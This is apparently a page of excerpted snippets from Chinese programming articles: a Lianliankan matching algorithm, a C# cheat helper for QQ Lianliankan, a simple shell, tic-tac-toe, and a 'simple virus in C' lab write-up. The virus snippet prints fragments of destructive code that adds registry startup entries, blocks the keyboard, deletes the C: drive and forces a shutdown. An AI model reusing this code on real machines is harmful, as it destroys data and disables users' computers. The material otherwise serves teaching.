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连连看》算法c语言演示(自动连连看)

而最简单的,可能就是连连看了,所以很多老师留作业,直接就是实现连连看连连看游戏的规则非常简单: 两个图片相同。 两个图片之间,沿着相邻的格子画线,中间不能有障碍物。...有一个小的重点就是,有些连连看的地图中,允许在边界的两个图片,从地图外连线消除。这种情况一般需要建立的图板尺寸,比实际显示的图板,周边大一个格子,从而描述可以连线的空白外边界。...矩阵另外两个对角分别是C1/C2,分别检查A/C1和C1/B或者A/C2和C2/B能同时形成直线连接,则A图片到B图片的1折连接可以成立。描述比较苍白,建议你自己画张简单的图就容易理解了。...define _pics (20) //定义在图板中随机产生100*2个图片的填充 //使用100是为了每次产生2个相同的图片,从而保证整个图可以消除完 #define _datas (100) //c语言没有...return TRUE; } } } }; return FALSE; } //这个函数式扫描全图板,自动连连看

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C语言编写简易病毒

本次实验设计的是一个基于C语言的恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径...程序继续之心那个,弹窗显示C盘盘符破坏成功。如图3.4所示。系统盘盘符被删除之后桌面上的一切快捷方式失效,开始菜单中全部变为无效的快捷方式,点开计算机窗口没有反应,执行效果如图3.5所示。..." "\x02\x00\x23\x00" "\x02\x00\x24\x00" "\x02\x00\x25\x00" "\x02\x00\x26\x00" "\x02\x00\x2C\...RegModifyBackroud(); //修改桌面背景 RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入 Sleep(5000); if (DeleteDrive("C:...//C://winnt"); system("title 警告"); system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""")

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    c#QQ连连看辅助

    近来无事,写个连连看辅助,下面先说下思路吧(口才不行,见谅哈) 游戏辅助有三种方法,一种是读内存,这个不知道怎么分析,还有一种是获取封包,这个分析起来复杂,最后一种是图片识别再分析,这里采用最后一种 图片识别来做...连连看开始》启动辅助》得到游戏窗口信息(位置,大小)》将游戏窗口置顶(其实就是激活状态),并恢复默认状态》截取整个屏幕保存起来》得到游戏区域的坐标信息》分割游戏区域将每一块的大小,位置,并在其上面取9个点的颜色值...我们都知道连连看最多只可以拐2次 假设红色方块是开始位置,先向左一个方格,得到方格,如果是背景或者是已经消除了的,则检测上方,如果是没有消除的,则判定是不是一样的, 然后向下取一个方格,这时候已经拐了1...每个方块9个点,采集19*11个方块竟然用了40多S(也可能是我没有找到合适的方法),2、识别后点击的时候快速移动并点击多次会报错 所以我准备自己调用user32.dll的方法来实现 另外,你需要开启连连看游戏...这里你还要得到一个数据,就是窗口左上角到上图红点位置的xy坐标值 我使用根据进程获取句柄,后来发现连连看进程名字会改变,所以需要在config.txt里面配置下 或者修改根据窗口名字获得句柄 然后下面介绍下各个类的作用

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    利用C语言制作一个简易Shell

    为了实现这么一个简易版本的自定义shell我们需要的知识有进程控制,进程等待,进程程序替换。学完这些我们就能给实现一个自己的简易shell。这些前置知识可翻阅我的往期文章。...myShell$ echo $PWD/home/ubuntu/myShellubuntu@VM-20-9-ubuntu:~/myShell$ echo $HOSTNAMEVM-20-9-ubuntu在C语言中我们可以通过函数...2.3.1 chdir()chdir 是一个C语言中的标准库函数,用于更改当前工作目录。它的全称是 "change directory"(更改目录),常用于改变进程的当前工作路径。...2.3.2 getcwd()getcwd 是 C 语言中的标准库函数,用于获取当前工作目录的绝对路径。它的全称是 "get current working directory"(获取当前工作目录)。...2.3.3 putenv()putenv 是 C 语言中的标准库函数,用于设置或修改环境变量。它的全称是 "put environment"(设置环境)。

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    C语言实现简易三子棋项目

    模块化编程 将一个项目中的各个模块的代码放在不同的.c文件里,在.h文件(头文件)里提供外部可调用函数的声明,其它.c文件想使用其中的代码时,只需要 #include “XXX.h” (注:自定义的头文件并不是...— 别忘记在原本的.c文件中进行引用 我们现在原.c文件中设置一个 game()函数 用来展示游戏功能。 并且这个game()函数 需要连接在switch case 1:之后。...= col - 1) { printf(" %c |", arr[i][j]); } else printf(" %c \n",arr[i][j]); }...由于只有第四种状态是不结束游戏的,我们在下棋循环中先对状态4进行判断,如果是状态4,我们返回c。如果Iswin()的返回值 != c,那么就说明游戏结束了。如果 == c,下棋循环仍进行。...= col - 1) { printf(" %c |", arr[i][j]); } else printf(" %c \n",arr[i][j]); }

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